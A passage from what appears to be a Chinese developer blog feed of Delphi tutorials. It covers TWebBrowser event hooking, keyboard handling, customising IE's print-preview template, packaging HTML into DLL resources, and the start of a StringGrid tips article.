<B>var</B> URL: OleVariant);<BR>&nbsp;&nbsp;&nbsp; <B>var</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Doc : IHTMLDocument2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Element : IHTMLElement;<BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Doc := IHTMLDocument2(WebBrowser1.Document);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>if nil</B> &lt;&gt; Doc <B>then</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>begin<BR></B>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT color=#000080><I>//找到HTML元件<BR></I></FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Element := Doc.all.item('<FONT color=#000080>B3</FONT>', 0) as IHTMLElement;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT color=#000080><I>//使HTML元件的click事件和DemoEventSink过程关连</I></FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Element.onclick := EventSink.HookEventHandler(DemoEventSink);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>end;<BR>&nbsp;&nbsp;&nbsp; end;</B></P>
<P>点击HTML页面中ID为'B3'的按钮，就会调用DemoEventSink过程。</P>
<P>　</P>
<H3><A><FONT color=#40006b>如何能在HTML控件上输入回车</FONT></A></H3>
<P>含有多行文本输入框(textarea )或提交(submit)按钮的HTML表单在TWebBrowser中显示时，对回车键不响应。另外，Delphi表单上按钮的快捷字母键也无法在HTML表单上输入，因为一输入就触发相应按钮的单击事件。解决代码如下：</P>
<BLOCKQUOTE>
<P><SPAN><FONT face="Courier New" size=2><B><BR>unit&nbsp;</B>Unit1; <BR><BR><B>interface <BR><BR>uses <BR>&nbsp;&nbsp;</B>Windows,&nbsp;Messages,&nbsp;SysUtils,&nbsp;Variants,&nbsp;Classes,&nbsp;Graphics,&nbsp;Controls,&nbsp;Forms, <BR>&nbsp;&nbsp;Dialogs,&nbsp;OleCtrls,&nbsp;SHDocVw_TLB,&nbsp;ActiveX,&nbsp;StdCtrls; <BR><BR><B>type <BR>&nbsp;&nbsp;</B>TForm1&nbsp;=&nbsp;<B>class</B>(TForm) <BR>&nbsp;&nbsp;&nbsp;&nbsp;WebBrowser1:&nbsp;TWebBrowser; <BR>&nbsp;&nbsp;&nbsp;&nbsp;Button1:&nbsp;TButton; <BR>&nbsp;&nbsp;&nbsp;&nbsp;Button2:&nbsp;TButton; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<B>procedure&nbsp;</B>FormDestroy(Sender:&nbsp;TObject); <BR>&nbsp;&nbsp;&nbsp;&nbsp;<B>procedure&nbsp;</B>FormCreate(Sender:&nbsp;TObject); <BR>&nbsp;&nbsp;&nbsp;&nbsp;<B>procedure&nbsp;</B>Button1Click(Sender:&nbsp;TObject); <BR>&nbsp;&nbsp;&nbsp;&nbsp;<B>procedure&nbsp;</B>Button2Click(Sender:&nbsp;TObject); <BR>&nbsp;&nbsp;<B>private <BR>&nbsp;&nbsp;&nbsp;&nbsp;</B><FONT color=#000080><I>{&nbsp;Private&nbsp;declarations&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;</I></FONT>FOleInPlaceActiveObject:&nbsp;IOleInPlaceActiveObject; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<B>procedure&nbsp;</B>MsgHandler(<B>var&nbsp;</B>Msg:&nbsp;TMsg;&nbsp;<B>var&nbsp;</B>Handled:&nbsp;Boolean); <BR>&nbsp;&nbsp;<B>public <BR>&nbsp;&nbsp;&nbsp;&nbsp;</B><FONT color=#000080><I>{&nbsp;Public&nbsp;declarations&nbsp;} <BR>&nbsp;&nbsp;</I></FONT><B>end</B>; <BR><BR><B>var <BR>&nbsp;&nbsp;</B>Form1:&nbsp;TForm1; <BR><BR><BR><B>implementation <BR><BR></B><FONT color=#000080><I>{$R&nbsp;*.dfm} <BR><BR></I></FONT><B>procedure&nbsp;</B>TForm1.FormDestroy(Sender:&nbsp;TObject); <BR><B>begin <BR>&nbsp;&nbsp;</B>FOleInPlaceActiveObject&nbsp;:=&nbsp;<B>nil</B>; <BR><B>end</B>; <BR><BR><B>procedure&nbsp;</B>TForm1.FormCreate(Sender:&nbsp;TObject); <BR><B>begin <BR>&nbsp;&nbsp;</B>Application.OnMessage&nbsp;:=&nbsp;MsgHandler; <BR><B>end</B>; <BR><BR><B>procedure&nbsp;</B>TForm1.MsgHandler(<B>var&nbsp;</B>Msg:&nbsp;TMsg;&nbsp;<B>var&nbsp;</B>Handled:&nbsp;Boolean); <BR><B>const <BR>&nbsp;&nbsp;</B>DialogKeys:&nbsp;<B>set&nbsp;of&nbsp;</B>Byte&nbsp;=&nbsp;[VK_LEFT,&nbsp;VK_RIGHT,&nbsp;VK_BACK,&nbsp;VK_UP,&nbsp;VK_DOWN, <BR>&nbsp;&nbsp;&nbsp;&nbsp;$30..$39,&nbsp;$41..42,&nbsp;$44..$55,&nbsp;$57,&nbsp;$59..$5A]; <BR><B>var <BR>&nbsp;&nbsp;</B>iOIPAO:&nbsp;IOleInPlaceActiveObject; <BR>&nbsp;&nbsp;Dispatch:&nbsp;IDispatch; <BR><B>begin <BR>&nbsp;&nbsp;</B><FONT color=#000080><I>{&nbsp;exit&nbsp;if&nbsp;we&nbsp;don't&nbsp;get&nbsp;back&nbsp;a&nbsp;webbrowser&nbsp;object&nbsp;} <BR>&nbsp;&nbsp;</I></FONT><B>if&nbsp;</B>(WebBrowser1&nbsp;=&nbsp;<B>nil</B>)&nbsp;<B>then <BR>&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;</B>Handled&nbsp;:=&nbsp;System.False; <BR>&nbsp;&nbsp;&nbsp;&nbsp;Exit; <BR>&nbsp;&nbsp;<B>end</B>; <BR><BR>&nbsp;&nbsp;Handled&nbsp;:=&nbsp;(IsDialogMessage(WebBrowser1.Handle,&nbsp;Msg)&nbsp;=&nbsp;System.True); <BR><BR>&nbsp;&nbsp;<B>if&nbsp;</B>(Handled)&nbsp;<B>and&nbsp;</B>(<B>not&nbsp;</B>WebBrowser1.Busy)&nbsp;<B>then <BR>&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;</B>FOleInPlaceActiveObject&nbsp;=&nbsp;<B>nil&nbsp;then <BR>&nbsp;&nbsp;&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</B>Dispatch&nbsp;:=&nbsp;WebBrowser1.Application; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>if&nbsp;</B>Dispatch&nbsp;&lt;&gt;&nbsp;<B>nil&nbsp;then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</B>Dispatch.QueryInterface(IOleInPlaceActiveObject,&nbsp;iOIPAO); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>if&nbsp;</B>iOIPAO&nbsp;&lt;&gt;&nbsp;<B>nil&nbsp;then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</B>FOleInPlaceActiveObject&nbsp;:=&nbsp;iOIPAO; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>end</B>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<B>end</B>; <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;<B>if&nbsp;</B>FOleInPlaceActiveObject&nbsp;&lt;&gt;&nbsp;<B>nil&nbsp;then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;</B>((Msg.<B>message&nbsp;</B>=&nbsp;WM_KEYDOWN)&nbsp;<B>or&nbsp;</B>(Msg.<B>message&nbsp;</B>=&nbsp;WM_KEYUP))&nbsp;<B>and <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</B>(Msg.wParam&nbsp;<B>in&nbsp;</B>DialogKeys)&nbsp;<B>then <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</B><FONT color=#000080><I>//&nbsp;nothing&nbsp;-&nbsp;do&nbsp;not&nbsp;pass&nbsp;on&nbsp;the&nbsp;DialogKeys <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</I></FONT><B>else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</B>FOleInPlaceActiveObject.TranslateAccelerator(Msg); <BR>&nbsp;&nbsp;<B>end</B>; <BR><B>end</B>; <BR><BR><B>initialization <BR>&nbsp;&nbsp;</B>OleInitialize(<B>nil</B>); <BR><BR><B>finalization <BR>&nbsp;&nbsp;</B>OleUninitialize; <BR>　</FONT></SPAN></P></BLOCKQUOTE>
<P>本段代码出自SwissDelphiCenter.ch，作者未知。主要要引用<SPAN><FONT face="Courier New" size=2>ActiveX。Delphi 7中SHDocVw_TLB改为SHDocVw。</FONT></SPAN></P>
<P>　</P>
<H3><A><FONT color=#40006b>如何实现HTML的打印和预览</FONT></A></H3>
<P>HTML的打印和预览向来是个难题，但自从IE5.5推出后，情况大有改观。你可以利用其“打印模板”功能，实现自己的预览窗口和控制打印。“打印模板”的使用方法请参考MSDN Library中的Web Development &gt; Programming and Reusing the Browser &gt; Print Templates目录下的文章。从微软的网站上还可以下载到一个不错的例子，示例如何一步步由浅入深地使用Print Template (下载：<A href="http://download.microsoft.com/download/6/8/3/683DB9FE-8D61-4A3C-B7B8-3169FF70AE9F/printtemplates.exe"><U><FONT color=#0000ff>打印模板示例</FONT></U></A>)。</P>
<P>你会发现，要自己实现一个功能完善的打印模板也并非易事。IE浏览器本身带的打印模板做得还不错，能否在它的基础上加上自己的定制功能呢？答案是肯定的，至少从技术上看是这样（不考虑版权问题）。下面就介绍这偷懒的招。</P>
<P>用Visual Studio打开x:\Program Files\Internet Explorer\MUI\0804\SHDOCLC.DLL，会看到其资源目录。其中HTML/PREVIEW.DLG就是IE所带的打印模板了。把它export(导出)出来，把文件扩展名改成HTM，打开看看，是不是特刺激？PREVIEW.DLG用到了几个图片文件，在2110目录下，别忘了导出。（注：我的环境是Windows XP Professional英文版+SP1a，IE是6.0sp1。）</P>
<P>IE默认的模版中，页眉页脚均只支持纯文字。下面以定制HTML页眉为例，看看如何定制自己的打印模板。思路是：用自己的页眉内容换掉原有的内容，并修改其页眉高度和页边距使之和新的页眉相对应。</P>
<P>第一步，定义页眉。在要使用此模版预览打印的HTML文件中加入一个id为Header的div标记，括起HTML页眉内容，并制定以英寸为单位的页眉的高度和宽度，其中宽度应该和模版相符。例：</P>
<BLOCKQUOTE>
<P>&lt;div id="Header" style="DISPLAY:none; WIDTH:6.5in; HEIGHT:0.78in"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...（HTML页眉内容）<BR>&nbsp;&nbsp;&nbsp; &lt;/div&gt;</P></BLOCKQUOTE>
<P>第二步，声明变量。在模版前面变量声明部分加上两个变量声明：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var g_htmlHeader = "";//用于保存页眉内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var g_nHeaerHeight = 0;//页眉的高度</P>
<P>第三步，取得页眉。在函数OnLoadBody()中的“Printer.footer = dialogArguments.__IE_FooterString”语句之后加入这段代码：</P>
<BLOCKQUOTE>
<BLOCKQUOTE>
<P><BR>oPageHeader = dialogArguments.__IE_BrowseDocument.all.item("Header", 0);<BR>if (null != oPageHeader)<BR>{<BR>&nbsp;&nbsp;&nbsp; g_htmlHeader = oPageHeader.innerHTML;<BR>&nbsp;&nbsp;&nbsp; g_nHeaerHeight = oPageHeader.style.posHeight;<BR>}<BR></P></BLOCKQUOTE></BLOCKQUOTE>
<P>第四步，指定页边距和页眉高度。在上面的代码下面紧接着加入：</P>
<BLOCKQUOTE>
<BLOCKQUOTE>
<P><BR>//指定页边距。其中40可以自己改，单位是百分之一英寸。<BR>Printer.marginTop = 40 + (g_nHeaerHeight * 100);<BR>Printer.marginBottom = 40;<BR>Printer.marginLeft = 40;<BR>Printer.marginRight = 40;</P></BLOCKQUOTE></BLOCKQUOTE>
<P>在函数EnsureDocuments()中，</P>
<BLOCKQUOTE>
<BLOCKQUOTE>
<P>/*注释掉以下代码<BR>if (header)<BR>{<BR>tmp = upTop + (27 / 100);<BR>if (tmp &gt; top)<BR>top = tmp;<BR>}<BR>if (footer)<BR>{<BR>tmp = upBottom + (27 / 100);<BR>if (tmp &gt; bottom)<BR>bottom = tmp;<BR>}<BR>*/<BR><BR>//紧接着加上：<BR>tmp = upTop + g_nHeaerHeight;<BR>if (tmp &gt; top)<BR>top = tmp;<BR><BR>//下面隔几行，注释掉：oRule.style.top = upTop + "in";</P></BLOCKQUOTE></BLOCKQUOTE>
<P>第五步，指定页眉内容。在函数CPrintDoc_AddPage()中，在“HeadFoot.page = HeadFoot.pageTotal;”语句之后加入：</P>
<BLOCKQUOTE>
<BLOCKQUOTE>
<P>//这两行用于设置页码，你在页眉可以通过加入“[P]”和“[p]”分别代表总页数和当前页数。<BR>g_htmlHeader = g_htmlHeader.replace("[P]", "&lt;span class='hfPageTotal'&gt;&lt;/span&gt;");<BR>var pageHeader = g_htmlHeader.replace("[p]", HeadFoot.pageTotal);<BR><BR>//下面隔3行，注释掉：<BR>//~oPage.children("header").innerHTML = HeadFoot.HtmlHead;<BR>//~oPage.children("footer").innerHTML = HeadFoot.HtmlFoot;<BR><BR>//下面隔几行，把“newHTM += HeadFoot.HtmlHead;”改为：<BR>newHTM += pageHeader ;<BR><BR>//然后注释掉（不要页脚）：newHTM += HeadFoot.HtmlFoot;</P></BLOCKQUOTE></BLOCKQUOTE>
<P>至此，一个支持自定义HTML页眉的新模版就定制完成了。是不是觉得特爽？如果觉得它给你省下了两周的时间，就赶紧到“希望之光”网站上，花你2天的工资，资助一个小孩上学吧。</P>
<P>定制好的打印模板怎么用呢？请看以下代码：</P>
<BLOCKQUOTE>
<P><BR><B>var</B><BR>&nbsp;&nbsp;&nbsp; vaIn, vaOut: OleVariant;<BR>&nbsp;&nbsp;&nbsp; CmdTarget : IOleCommandTarget;<BR>&nbsp;&nbsp;&nbsp; MyHandle : THandle;<BR><B>begin</B><BR>&nbsp;&nbsp;&nbsp; vaIn := '<FONT color=#000080>c:\\Preview.htm</FONT>';</P>
<P><BR><FONT color=#000080><I>&nbsp;&nbsp;&nbsp; //预览方法1：WebBrowser1.ControlInterface.ExecWB(OLECMDID_PRINTPREVIEW, OLECMDEXECOPT_PROMPTUSER, vaIn, vaOut);</I></FONT></P>
<P><FONT color=#000080><I>//下面是方法2：<BR></I></FONT>&nbsp;&nbsp;&nbsp; <B>if</B> WebBrowser1.Document &lt;&gt; <B>nil then</B><BR>&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WebBrowser1.Document.QueryInterface(IOleCommandTarget, CmdTarget);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>if</B> CmdTarget &lt;&gt; <B>nil then</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>try</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CmdTarget.Exec( PGuid(nil), OLECMDID_PRINTPREVIEW, OLECMDEXECOPT_PROMPTUSER, vaIn, vaOut);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>finally</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CmdTarget._Release;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>end</B>;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>end</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>else</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShowMessage('<FONT color=#000080>IE不支持该功能，请升级至IE5.5以上。</FONT>');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>end</B>;<BR>&nbsp;&nbsp;&nbsp; <B>end</B>;<BR><B>end</B>;</P></BLOCKQUOTE>
<P>方法1简洁，但是如果WebBroswer不支持打印预览的话就会出错。第二种方法可能更好一些。</P>
<P>在打印预览时，预览窗口的尺寸大小总是和WebBrowser所在的Form的一样，而且没法最大化。更麻烦的是，如果你的表单是嵌入到了别的表单的组件上显示的，例如，Form1.Parent := Form2.Panel1，即Form1显示在Form2中Panel1所占据的位置，那么预览窗口就变得很小了，不拉大根本没法看。解决办法如下，在预览的代码后面加上以下代码，使预览窗口最大化：</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Handle:=FindWindow('Internet Explorer_TridentDlgFrame', '<FONT color=#000080>打印预览</FONT>');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>if</B> 0 &lt;&gt; MyHandle <B>then</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>begin</B><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShowWindow(MyHandle , SW_MAXIMIZE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <B>end</B>;</P>
<P>如果不预览而是直接打印，则把OLECMDID_PRINTPREVIEW换成OLECMDID_PRINT就可以了。</P>
<P>如果要在Web应用中使用打印模板，可以通过ActiveX来实现调用。</P>
<P><FONT color=#808080>注：打印模板需要安装Internet Explorer 5.5以上版本，本文其它功能需要安装Internet Explorer4.0以上版本。</FONT></P>
<P>　</P>
<H3><A><FONT color=#40006b>如何打包HTML和相关文件</FONT></A></H3>
<P>应用做好了，总不能把HTML文件和相关的图片文件等直接发布吧。这样既不安全，前面禁止用户查看源代码的努力也白费了。因此至少应该将这些文件打个包。一般来说，作为资源编译到exe或dll里就行了。我觉得编译到DLL中最为方便。在Visual Studio中，新建一个Win32工程，应用类型选择DLL。然后把HTML文件和相关的图片文件等资源加到工程中，然后编译即可。</P>
<P>再添加HTML等资源时，我强烈推荐用手工加入的方法。原因有二：一，GIF等图片文件加入到工程中时，Studio可能会把文件内容自动改了，使得该文件不能正确显示；二，加入资源后会自动生成资源ID，需要把它改成你需要的名称（通常改成和文件名相同），当文件很多时，这项工作就很浪费时间，也很烦人。手工加入，即用文本编辑器把资源脚本文件（工程名.rc)打开，手工加入内容。我就不赘述了，格式例子如下：</P>
<BLOCKQUOTE>
<P>About.htm&nbsp;&nbsp;&nbsp;&nbsp; HTML&nbsp;&nbsp;&nbsp;&nbsp; "HTML\\About.htm"</P>
<P>image016.gif&nbsp;&nbsp;&nbsp;&nbsp; IMAGES&nbsp;&nbsp;&nbsp;&nbsp; "HTML\\images\\image016.gif"</P></BLOCKQUOTE>
<P>当加入很多文件时，如何节省时间呢？没有实践经验的人，是不可能想到这些问题的。别着急，按我说的做。</P>
<P>首先，进入命令行(DOS)界面（Windows NT/2000/XP/2003下运行cmd.exe进入），进入你的HTML等资源文件所在的目录，执行“dir &gt; temp.txt”,把文件列表输出到temp.txt。</P>
<P>接着，用文本编辑器把该文件打开，去掉头尾内容，仅留文件列表部分，例如：</P>
<BLOCKQUOTE>
<P>2004-03-17 11:20 20,397 About.htm</P>
<P>2004-03-17 11:20 27,397 index.htm</P></BLOCKQUOTE>
<P>然后，用Excel把修改后的文件打开。打开时，“原始数据类型”请选择“固定宽度 - 每列字段加空格对齐”。这样，日期、时间、文件大小、文件名就被分别放在了不同的列中。删除前三列，仅留文件名一列，并把该列复制一份。在两个文件名列之间插入两个空列，分别填写“HTML”和“"HTML\\”，然后就可以另存成以制表符分隔的文本文件了。</P>
<P>最后，用文本编辑器把上一步处理好的文件打开，不用我多说，只要几个替换，就得到所需要的资源脚本了。对于不同目录下的文件，均需要这么弄以下。</P>
<P>资源脚本弄好了，把资源文件也加入（不是作为资源加入）工程，编译，就得到打包好的DLL文件了。接下来的问题是，这个DLL怎么用啊？别急，WebBrowser支持一种叫res的协议，可以访问文件里的资源。例如，假设上面About.htm打包到了myresource.dll文件中，则可以通过res://myresource.dll/About.htm访问，image016.gif则可通过res://myresource.dll/images/image016.gif访问（注意到了吧，HTML在根目录下，而IMAGES等其它资源则在同名目录下）。如果About.htm中通过“images/image016.gif”引用了image016.gif文件，则该图片在WebBrowser中正常显示。换句话说，你在打包之前，程序可以通过file://...访问HTML，打包之后，只需要换成res://...就可以了----打包对程序和HTML几乎没什么影响。但是，<B>切记，切记！千万不要仅以数字来做文件名（如：1.htm、2.gif等）</B>，因为数字是被用来标识某种资源或某个资源的，如果用仅用数字作文件名（可以用字母+数字），打包后会导致访问找不到文件。</P><SPAN style="DISPLAY: none">（Yaeuq.net乐土 于 2004-4-8）</SPAN> 
<P></P>
<P><FONT color=#008000>下载本文的例子代码：</FONT><A href="http://files.yaeuq.net/webbrowser_sample.zip"><U><FONT color=#0000ff>webbrowser_sample.zip</FONT></U></A><FONT color=#008000>（注：打印模板部分由于考虑到版权问题，没有包含在里边。）</FONT></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=216" /> 
	  <id>http://www.openx.cn/default.asp?id=216</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[StringGrid使用全书]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-15T11:35:21+08:00</updated>
	  <published>2006-02-15T11:35:21+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>(1)正确地设置StringGrid列宽而不截断任何一个文字方法是在对StringGrid填充完文本串后调用SetOptimalGridCellWidth过程<BR></STRONG>-----------程序片断-------------------------------------------------<BR>&nbsp;(*<BR>&nbsp;$Header$<BR>&nbsp;Module Name : General\BSGrids.pas<BR>&nbsp;Main Program : Several.<BR>&nbsp;Description : StringGrid support functions.<BR>&nbsp;03/21/2000 enhanced by William Sorensen<BR>&nbsp;*)</P>
<P>&nbsp;unit BSGrids;</P>
<P>&nbsp;interface</P>
<P>&nbsp;uses<BR>&nbsp;&nbsp; Grids;</P>
<P>&nbsp;type<BR>&nbsp;&nbsp; TExcludeColumns = set of 0..255;<BR>&nbsp;&nbsp; procedure SetOptimalGridCellWidth(sg: TStringGrid;<BR>&nbsp;&nbsp; ExcludeColumns: TExcludeColumns);<BR>&nbsp;&nbsp; // Sets column widths of a StringGrid to avoid truncation of text.<BR>&nbsp;&nbsp; // Fill grid with desired text strings first.<BR>&nbsp;&nbsp; // If a column contains no text, DefaultColWidth will be used.<BR>&nbsp;&nbsp; // Pass [] for ExcludeColumns to process all columns, including Fixed.<BR>&nbsp;&nbsp; // Columns whose numbers (0-based) are specified in ExcludeColumns will not<BR>&nbsp;&nbsp; // have their widths adjusted.</P>
<P>&nbsp;implementation</P>
<P>&nbsp;uses<BR>&nbsp;&nbsp; Math; // we need the Max function<BR>&nbsp;&nbsp; procedure SetOptimalGridCellWidth(sg: TStringGrid;<BR>&nbsp;&nbsp; ExcludeColumns: TExcludeColumns);</P>
<P>&nbsp;var<BR>&nbsp;&nbsp; i : Integer;<BR>&nbsp;&nbsp; j : Integer;<BR>&nbsp;&nbsp; max_width : Integer;<BR>&nbsp;begin<BR>&nbsp;&nbsp; with sg do<BR>&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp; // If the grid's Paint method hasn't been called yet,<BR>&nbsp;&nbsp;&nbsp;&nbsp; // the grid's canvas won't use the right font for TextWidth.<BR>&nbsp;&nbsp;&nbsp;&nbsp; // (TCustomGrid.Paint normally sets this, under DrawCells.)<BR>&nbsp;&nbsp;&nbsp;&nbsp; Canvas.Font.Assign(Font);<BR>&nbsp;&nbsp;&nbsp;&nbsp; for i := 0 to (ColCount - 1) do<BR>&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if i in ExcludeColumns then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Continue;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; max_width := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Search for the maximal Text width of the current column.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for j := 0 to (RowCount - 1) do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; max_width := Math.Max(max_width,Canvas.TextWidth(Cells[i,j]));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // The hardcode of 4 is based on twice the offset from the left<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // margin in TStringGrid.DrawCell. GridLineWidth is not relevant.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if max_width &gt; 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ColWidths[i] := max_width + 4<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ColWidths[i] := DefaultColWidth;<BR>&nbsp;&nbsp;&nbsp;&nbsp; end; { for }<BR>&nbsp;&nbsp; end;<BR>&nbsp;end;</P>
<P>&nbsp;end.<BR><STRONG><FONT size=4>(2)实现StringGrid的删除，插入，排序行操作（基本操作啦）//实现删除操作<BR></FONT></STRONG>Procedure GridRemoveColumn(StrGrid: TStringGrid; DelColumn: Integer);<BR>&nbsp;Var Column: Integer;<BR>&nbsp;begin<BR>&nbsp;&nbsp; If DelColumn &lt;= StrGrid.ColCount then<BR>&nbsp;&nbsp; Begin<BR>&nbsp;&nbsp;&nbsp;&nbsp; For Column := DelColumn To StrGrid.ColCount-1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StrGrid.Cols[Column-1].Assign(StrGrid.Cols[Column]);<BR>&nbsp;&nbsp;&nbsp;&nbsp; StrGrid.ColCount := StrGrid.ColCount-1;<BR>&nbsp;&nbsp; End;<BR>&nbsp;end;</P>
<P>//实现添加插入操作<BR>&nbsp;Procedure GridAddColumn(StrGrid: TStringGrid; NewColumn: Integer);<BR>&nbsp;Var Column: Integer;<BR>&nbsp;begin<BR>&nbsp;&nbsp; StrGrid.ColCount := StrGrid.ColCount+1;<BR>&nbsp;&nbsp; For Column := StrGrid.ColCount-1 downto NewColumn do<BR>&nbsp;&nbsp;&nbsp;&nbsp; StrGrid.Cols[Column].Assign(StrGrid.Cols[Column-1]);<BR>&nbsp;&nbsp; StrGrid.Cols[NewColumn-1].Text := '';<BR>&nbsp;end;</P>
